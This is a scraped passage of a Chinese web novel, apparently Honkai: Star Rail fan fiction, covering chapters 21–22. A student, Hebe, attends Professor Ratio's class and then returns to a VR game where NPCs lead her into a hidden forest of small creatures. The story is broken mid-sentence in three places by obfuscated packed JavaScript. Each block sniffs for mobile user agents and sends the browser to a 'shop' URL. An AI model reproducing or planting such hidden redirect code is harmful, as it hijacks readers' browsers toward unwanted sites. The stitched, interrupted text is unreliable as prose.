l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015843|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请真理医生的硕士研究生……嗯,安分乖巧些比较好。 目前看来想要彻底摆脱赫斯托教授这个超重的大1麻烦外加挽救一下毕业证的含金量,唯一的办法就是给自己换个导师继续前行。 你倒吸一口凉气,跳出游戏舱冲进浴室,稀里哗啦一通忙乱后吹干头发换上出门上课的衣服提着教材冲向飞车接驳点。赶早八最要命的就是抢飞车这件事,万一手速慢上那么一星半点抢不到就要面对迟到的风险。其他教授大多对此一笑而过,唯独拉帝奥先生,他的严格严厉与自身学术水平呈正相关。 你今天运气不错,没有动用科技手段纯凭幸运抢到了刚好路过的一辆飞车。拎着装有教材笔记本以及文具的手提袋倒进车厢,你在长出一口气的同时朝外扫了一眼。 隔壁宿舍聚集着六位来自偏远星系的学生,看他们的样子似乎非常不满你一个人霸占一整辆飞车的行为。你会停下来允许他们拼车吗?笑话,当然不会,专业不同教学楼所在的方向都不一样,先送谁后送谁?还不如一开始就别沾。 飞车得到指令迅速升空,十分钟内将你送到教学楼外的接驳点。下车前你看了眼时间,距离第一节课开始还有十五分钟,完美。 目前教室里还没什么人,绝大多数学生会选择赶在上课铃响起前踩线冲进赫斯托的课堂,反正教授自己也经常晚上一两分钟,学生能来点到就已经很给面子。以平时的课堂情况来看,就算教务系统一大早发送通知也不会有太多人及时查看,等反应过来代课教授是谁再采取行动多半会来不及。 拉帝奥教授挂人从不手软。 你风风火火冲到阶梯教室的第一排正中间坐下,手提袋拍在桌面上发出好大一声“咚”。等你把书籍和笔记本摆放好,阶梯教室的另一扇门被人推开,代课教授手里拿着张纸大步出现。 哦吼。 低头给玛德琳发了条示警消息点击发送附加震动效果,你心安理得关闭个人光脑。 已经提醒过了,自己不看可别怪姐妹不讲义气。 “教授早,”你努力积极的表现,走上讲台的石膏头雕好像点了一下也好像没点:“早。” 如果是其他仙舟人大概会附上一句“吃了吗”打开今日社交话题,但你本就是临时从游戏舱里爬出来的,早餐压根就不在计划内,自然也想不起来还能拿它做破冰锤。 走廊上传来纷乱的脚步声,你看着拉帝奥教授打开投影设备调试课件投放效果,心里对缺课的同学报以真挚同情——这位教授,你敢逃他的课他就敢挂你的科,完全不担心什么补考什么重修会不会浪费他的时间与精力。 上课铃声如期响起,踩点冲进教室的人纷纷脸色苍白表情庆幸。背后的桌子动了几下,玛德琳小姐喘着粗气小声道:“谢了姐们儿,期末我请你喝酒嗨皮,男模随便点,千万别给我省钱!” 你:“……” 男模是啥? 21.第 21 章 “诸位,”上课铃结束的同时,阶梯教室前后两处大门自动关闭,没能及时赶上出勤的同学不再有机会参与课堂。提前十分钟就位的教授终于放下手里的平板,双手撑在讲台两侧,“鉴于某些特别的原因,赫斯托教授不得不离开一段时间,这门课程将由我代理,直至本学期结束。” 稀稀拉拉出现在教室里的学生发出“嗡嗡嗡”“嗯嗯嗯”的声响,维理塔斯很想用更可爱些的蜜蜂形容这些年轻人,然而转念回忆起他们源源不绝产出的那些学术垃圾,果然还是苍蝇更合适。 “我看到了你们的课本,垃圾。专业课的读书笔记,垃圾。还有少部分学生提交的学科论文……更是垃圾中的垃圾。” 石膏头雕的眼睛部分并没有开孔,但是教室里的每一个人都觉得被教授狠狠刮了一眼。 “如果只是打算凑学分拿毕业证回老家继承家业,我建议你们及时选好替补科目。想要让知识在大脑皮层上留下些痕迹……建议在课下自行阅读以上资料。” 投影板上自动浮现出数页长到令人绝望的书单,你在同学们的哀嚎声中扫了眼第一页,嗯,百分之九十已经读完。剩下百分之十的书没读过是因为它们不巧处于外借状态,网上版权贵得要死,只能等。 书单回头会由教务系统发到学生们的个人终端上便于查看,拉帝奥教授很快结束开场白进行下一项。 赫斯托所谓的教案拿出去能把庇尔波因特随便哪所社区大学的讲师笑死,为了自己的脸面维理塔斯不得不连夜翻出这群蠢货往期的作业查看学习进度以及他们的学术水平。忍着头部剧痛从前翻到后,他得出结论:除极个别学生外,这个班级甚至用不上“学术”这两个字。 什么学术?教材都还没看完好吧。 赫斯托真是个浪费时间误人子弟的玩意儿。 他能够理解刚刚成年进入大学的年轻人换了新环境总会忍不住放飞自我上一段时间,但现在已经是二年级了,也就是说这些孩子放纵癫狂的轻易浪费掉了人生中最聪明反应最快体能也最好的一年。 就算就读专业随时有可能被裁撤也不能早早放弃,那放弃的是几节口水课吗?放弃得分明是自己的人生。 “……” 维理塔斯·拉帝奥扫过凄惨的教室,出勤率甚至无需点到。 这些学生里有很多是来镀金的,进入第一真理大学目的并非汲取知识探求真理,经营人脉圈子才是他们的重点。 “赫柏,”他的视线落在第一排正中间那个黑发女孩儿身上,全班仅剩的希望,“由你担任课程联络员。” 其实也没有什么可联络的,想研究些东西的人不用催促自己就会把时间精力投入到感兴趣的事情上,不想在学术上获得成就的人就是拿着鞭子在后面抽也没用。但他从校医院心理医生玛塔基尼处了解到这孩子的情绪有消极倾向,她需要一个契机才能走出困住自己的那一天。 “联络员”一职是只属于她的,寻找契机的机会。 “欸?”你差点绷不住表情,“哦,好的,教授。” 让一个不爱说话不喜聚堆的人去做沟通联络的事,拉帝奥教授怎么还没被天才俱乐部吸收进去? 玛德琳小姐在你背后吃吃窃笑。 一个半行星时很快过去,下课铃一响教授便夹起资料和伪装成石板书的平板大步离开。你心满意足阖上记满笔记的本子收拾起被代课教授称为“垃圾”的教材,清理桌面和地面。 “亲爱的,一起去吃午饭?”玛德琳小姐的笑声在拉帝奥教授离开后放大了至少十倍,“我都不敢想如果挂科延迟毕业会耽误多少事,谢谢你的及时提醒。” 你转过去看着她:“还是谢你的新伴侣吧,感谢他选宿舍时离教学楼这么近。” 玛德琳:“……” “讨厌啦~”她眨眨眼,防水睫毛几乎扇出一场小型风暴,“我欠你一次,mua” 这只是个无伤大雅的小玩笑,你知道的,这位坐拥半个星球财富的女继承人父母慈爱家庭和睦,以至于她见到合拍的人就喜欢撒娇。 你婉拒了她的午餐邀请,打算回宿舍趁着下午没课再抢救一下那无可救药的NPC攻略计划。随便嚼几片菜叶子,果汁发酵饮料送服,重返游戏舱回到数据流的世界。 “唔……”翁法罗斯的时间不会因为你脱出游戏而停止等待,但是在你离开的这段时间,数据会自动将你“不在”的这件事合理化。 睁开眼睛从柔软的床垫上坐起身,门外传来叮叮咣咣的脚步声。 “赫柏,你终于醒了!”白发少年喜出望外的脸瞬间怼在你面前,眼底水光闪烁,“你突然就沉睡不醒,到现在已经睡了一个半月,吓死我了。就在刚才有阵柔软的风吹过,给人的感觉和你很像,果然!” 你:“……” 咱俩到底谁是NPC? 所以说设计师的“合理化”就是这么合理的吗?利用NPC的高智能让他们自行脑补玩家下线后的状态?话说回来,这个时间的流动很诡异啊,有标准稳定的比例吗? 等会儿就出去发反馈函,时间轴做成这样游戏还打不打算卖了。 “嗯,抱歉,我身体不好,吓到你们实在很对不起。”你试图收拾残局,干净整洁散发着稻草清香的床垫向下凹陷,带有厚茧的掌心在碰触头顶时擦过你的额头。 温暖的,像被小动物粗糙的舌头舔舐。 你:EMMMMMM…… 手掌迅速缩走。 “这又不是你的错,”卡厄斯兰那的声音里有股轻飘飘的感觉,“人人都逃不脱塞纳托斯的大手,哎呀,我不知道该怎么说,但生病也不是你自己想生病对吧?别往心里去。” “现在还有什么地方不舒服的吗?”他低下头凑近了些,声音不大,清澈又温和,“要不……我们赶在秋天结束前就出发去神悟树庭吧,一定能找到可以救治你的人。” 这是要换地图?可哀丽秘榭的地图还有一小块是灰色的呢,森林里也没有进去探索过,总觉得空着一块图鉴心理上很难受。 “我已经没事了,真的,”你决定在这一周目多停留上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17023388|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段时间。小村庄民风淳朴风景秀丽,最重要的是人少且没有不好相处的邻居,确实让你感受到了久违的轻松,一旦更换地图谁知道会在外面遇到什么:“只要醒过来就意味着痊愈,嗯,其实也不算病症……” 你联想到了大嫂的持明特性。 “我家祖传的会在某个时期陷入沉睡。”你拿起持明一族不死不灭自我轮回的特别属性改头换面往自己身上套,一点儿也不心虚。 “哦哦!”卡厄斯兰那郑重点头,一看就知道根本没听懂,也没听进去。 “多做些准备也好啦,外面的路不是那么好走。粮食、武器、衣服,都得带上,我还要去找忒理斯大叔问问路该怎么走,你好好养身体,最晚开春动身。” 少年笑得比骄阳还要灿烂,他掰着手指数了一样又一样,满心期盼着未来:“昔涟负责占卜,你负责计划,动手的事儿都归我,我们一定会成为翁法罗斯最厉害的冒险小队!” 他提起一根麦桔梗,就像战士握紧手里的宝剑,就差挥出去横扫杂草。 这家伙好幼稚啊…… 你盯着他看了一会儿,忽然觉得这支冒险小队说不定大有可为:“好的,小麦骑士,现在我们已经招募到了玫瑰酱法师和发酵果汁祭司,虽然不是传统意义上的最佳组队但也足以踏上征程。” 卡厄斯兰那哈哈大笑,连带着整张床都跟着他的节奏瑟瑟发抖。 “看你精神起来我真高兴,托你的福,爸爸妈妈需要操心的事儿少了很多,那座磨坊真的很实用,”他眨眨眼,眼尾染了些微红,“该给你的面粉我都收好了,出发时烤成饼带上。等我们在外面游历累了就回到家乡,想必那个时候木匠大叔也一定能腾出手给你打一套漂亮的家具。” “嗯。”你找不到拒绝的理由,看来更换地图的最后期限就是冬末,在此之前还有一些时间探索哀丽秘榭。 那块灰色区域究竟是怎么回事,看地图它就在村公所西北方向,实际上那边只有条通向森林的小路。 “再多休息一会儿,我去厨房看看有没有什么好消化的食物。躺了这么久你一定饿坏了,每天都是昔涟来喂些糖水给你,除此以外我们也不知道该怎么办,没能帮上忙……还好你醒了。”他软乎乎的微笑:“如果你想起来活动活动,也许明天我们可以一起去森林里转转。” 农忙的时间已经结束,村民们每天忙碌的重点从侍弄田地转向储存粮食为过冬做准备。卡厄斯兰那的计划是等到冬天过去帮家里翻完地就和朋友们出门游历,村子里有志气的年轻人差不多都要走过这一遭。出门开开眼界长长见识,然后带着经验与阅历回到小村平静的度过余生。 赫柏最初发病的那几天他有想过直接就这么背着她向往来船只求助,可也不知道怎么回事总也没有船来。没有船就没办法渡过海面去找医师,少年意识到儿时立下的誓言并不会因为年岁增长而自动实现,这世上总有许多不愿接受但也无可奈何的事。现在她总算自己醒过来好了,他希望这是她最后一次陷入昏睡。 我一定能救她。 22.第 22 章 自打你从“昏迷”中苏醒,卡厄斯兰那就经常神出鬼没的出现在你视线范围内。频率也不算太高吧,只要不是夜晚休息时段他便习惯性五六分钟刷一次存在感,然后迅速消失该干嘛干嘛。 你说的是你已经习惯了,有个大型物体在旁边反复闪现什么的……他没有做什么让人不适的多余事,只是像护士确认病人有没有成功保持呼吸那样尽职尽责(?),时间久了次数多了你紧绷的神经经历过这场无言的脱敏治疗后自动开启屏蔽功能,不再频频注意到落在身上的视线。 大约是农忙已经结束闲得慌,相对陌生些的面孔总会让他很有新鲜感的缘故吧。 “赫柏!家里的活儿忙完了,咱们出去玩吧?”说什么来什么,你趴在窗户上透个气的功夫白毛就窜了出来。他说话的声音刻意经过加工,有种小于实际年龄与体型的特殊效果,“嗯……叫上昔涟,一起去森林里逛逛,你还没去过森林里吧?” 少年张开手比比划划:“有惊喜哦!” 你以为的惊喜是秋季特产的各种山货。罗浮学宫的图书馆里能找到好些古时传下来的游记小品,一春一秋最是人们喜欢亲近山林的时候,据记载除了饱览美景还能连吃带拿,只是阅读那段文字就令人大为向往,你马上点头。 “嗯,好。”好奇是一个原因,另一个原因主要在卡厄斯兰那身上,如果不应声他就会一直问,一直问,非要得到满意的答案才会停下来。 在奥妲塔担忧的叮嘱声中你被允许走出家门,这可真是不容易,要知道你刚“醒来”那几个小时几乎被她当成玻璃人小心对待。 “千万小心,不要累着了。”这位慈爱和蔼的母亲皱着眉头上下打量,仿佛下一秒你就要到地不起似的,“森林里温度低,在外围散散步就好。” 她对儿子向来奉行宽松自由的教育方式,平时多以称赞为主。小孩子嘛,用力夸一夸就会在一声声“棒棒哒”中迷失,也就是在这位年轻小客人这里奥妲塔才格外担心自家的崽闯出弥天大祸。 没啥特别理由,只因为她实在是脆呐!一躺就是一个多月,谁不怕她干脆就这么躺下去长眠不醒? “嗯,好的。”妈妈的温柔与大哥大嫂不一样,你用力点点头。 “真乖。” 奥妲塔的身高在游戏设定中算中等,但也比你矮了小半头,真不知道她是怎么养出Duang大一坨儿子的,大概是妈妈的爱满到溢出来了吧。 “走了走了,昔涟在村公所等咱们呢。”卡厄斯兰那甩着胳膊,活像一只试图起飞的雪鸮。你朝奥妲塔勾勾嘴角,在她的注视下差点被卡厄斯兰那拖拽着横飞。 你可不是那种娇滴滴的文弱少女,一时没做好准备罢了,脚下紧着快走几步立刻赶上他的速度。 卡厄斯兰那走出自家院子就放慢速度,甚至专门停下来等你。 “你看上去状态还不错?”他笑出两排大白牙,“赶紧溜出来,不然妈妈要是突然改变主意不放咱们出门,今天的计划可就泡汤了。” 你在罗浮的家里从来都是想去哪儿去哪儿,只要赶在门禁前回来就行。天人族小孩大多都是这样,能自己安排的事大家都喜欢自己安排,不愿多受束缚。再说了,仙舟上也没人敢冒着杀头的风险对未成年人下手——二百岁就像一道红线,限制多受到的保护也多。 “都说了我没有事,只是睡久些,还喘气儿就证明一切正常。”忽悠全息游戏的NPC,你的良心一点也不痛。 卡厄斯兰那自以为没被发现的仰头无奈望天,反正只要他不直接问,你就假装没发现不知道,省得费心思现编。 昔涟坐在村公所前的石阶上,见到你们两个慢慢走到近前便站起来笑:“我昨天就听说你醒了,感觉怎么样?” 你把糊弄卡厄斯兰那的那一套拿出来重新讲了一遍,差不多是个意思,糊弄糊弄企图蒙混过关。 “……所以说这只是特殊种族的常见情况,很正常,能醒就是痊愈,完全不必担心。”你拿着持明特性这个借口改了又改,生怕两位实心眼儿的好朋友哪天真把你沉到海底去。虽说这游戏的战斗系统到现在也没体现过,但也不能断定它完全没有打怪环节,就……万一呢? 令人惊讶的是昔涟比卡厄斯兰那更容易接受这种胡扯一样的解释,不是礼貌客气的假装接受不予拆穿,而是真真正正的信了。 你:“……” 总觉得新朋友很容易被骗呐。 “我知道了,以后你要是再出现类似情况我会好好等待,等你醒过来,等你来和我一起玩。”她把书夹在胳膊里,走在前面又回头看向你们:“走吧,再拖下去它们要等急啦。” 谁?谁等急了? 卡厄斯兰那戳戳你的肩膀:“跟我来。” 他们将你带到一颗粗壮无比的大树下,树根处有个黑黢黢的大洞。很小的时候嫂嫂给你买过一本风靡罗浮的绘本,讲得就是一个小姑娘追逐野兔不小心落入兔子洞然后在神奇王国历险的故事。你很喜欢那只抽水烟的毛毛虫,为此还缠着大哥要到了一条绿色睡袋亲自模仿。 “额,很深吗?”你弯腰探身朝树洞里看,完全看不到底。 卡厄斯兰那的大头凑过来挤得很近:“别怕,我带着你往下跳,就算摔倒也有我在下面当缓冲垫。” 你下意识看了眼他胳膊上的肌肉,一旦撞上去大概不是故事而是事故。 昔涟笑着一手捂裙子一手压着头发,做了个跳的动作,实际上迈开腿走进树洞。她一下子就不见了,既没有下坠的画面也没有与之相关的声音。 “我们也进去吧,惊喜就在前面。”卡厄斯兰那从后面轻轻推了你一把,踉跄间黑雾蒙住双眼又很快褪去。你站在原地惊讶于过地图进入隐藏秘境的方式居然要NPC专门操作,背后传来白发少年的炫耀:“当当当~看吧,这是我和昔涟的秘密基地。” “现在它也是你的了。” 他总是带着笑说话,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032280|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻松活泼,这样的人简直就像是个让你自惭形秽的发光体。假如他不是数据流而是个真正意义上的大活人,你很难想像这世上会有谁不喜欢他。 “这里还是哀丽秘榭吗?”你被他推着向前走,脚下是比路基还要宽阔坚实的树干,粗糙的纹理清晰可辨。 你小心翼翼的尽量挑平整“路面”行动,免得一不小心把脸摔在“地面”上。 宽大的手掌撑着后背,卡厄斯兰那轻快的解释:“这地方叫迷路迷境,生活着许多小妖精,很可爱哦。” 哀丽秘榭的地图无声点亮,图卷完整的同时系统唯一给出的支持显示在地图四周隐隐出现的黑色阴影上。 这啥?看不懂。 “赫柏?”背后的手稍稍大力了些,“你怎么了?” 你抬起头看向天空,森林中光线暗淡。 “你在看什么?”卡厄斯兰那就在你背后。由于你的异常他开始担忧:“如果你不舒服的话我们就找个地方先坐下来休息。” 你收回视线,安静的摇摇头:“这里好暗。” 原来是害怕吗?倒也对,没有接触过迷路迷境的人会产生疑虑实在正常。少年低头看看走在自己身前的黑发少女,两个精巧的发旋紧紧挤在一处,真可爱。 赫柏后背上的骨头顶着皮肤,有点儿硌手。 “别担心,”他乐观的上前与她并肩行走,顺便用胳膊护着少女,“小妖精们很可爱,而且温柔亲人。” 迷路迷境就像个世外桃源,它如童话般美好,仿佛水晶球中毛茸茸的苔藓树林。当然了,这里的树木远比苔藓巨大,蜿蜒的道路也更为壮观。 昔涟已经走到树底平台,转过来朝你挥手。 你们跟上去,一只粉色毛绒动物进入视线。 “咪咪?”小动物有两只硕大的毛绒耳朵外加一条溜光水滑的毛绒大尾巴,水汪汪的大眼睛,明明是个四足动物却像个人类那样竖着悬浮在空中。 “欸!”昔涟抱起一只小动物放在你怀里,软乎乎的温热身体让你有些不知所措。小家伙抬起头倒着看向你:“来了新朋友咪!” 天呐,这小家伙居然会说人类能听懂的语言。 赫柏瞪圆眼睛的样子有点儿呆,与她以往聪明冷淡的模样大相径庭。卡厄斯兰那和昔涟交换了一个眼神,拉上愣在原地的少女走向林间空地。蜿蜒的小路还能旋转着继续向下走,随着深入路边聚着三三两两的小妖精,整个迷路迷境都是小妖精们的领地。 “新朋友!新朋友!”小妖精们很快围了上来,哼哼唧唧软乎乎的贴着嘎吱嘎吱已经硬掉的黑发少女想要看得更清楚。 她生怕抱疼怀里的小家伙,又担心力气小了摔到它,动作生疏的兜着毛茸茸的屁股,浑身上下都很别扭。 “啊……”赫柏固定着下半身不动,尽量转动上半身僵硬的来回寻求帮助:“昔、昔涟,它好软,还会动!” 她表情不太好,脸色苍白,身体微微颤抖。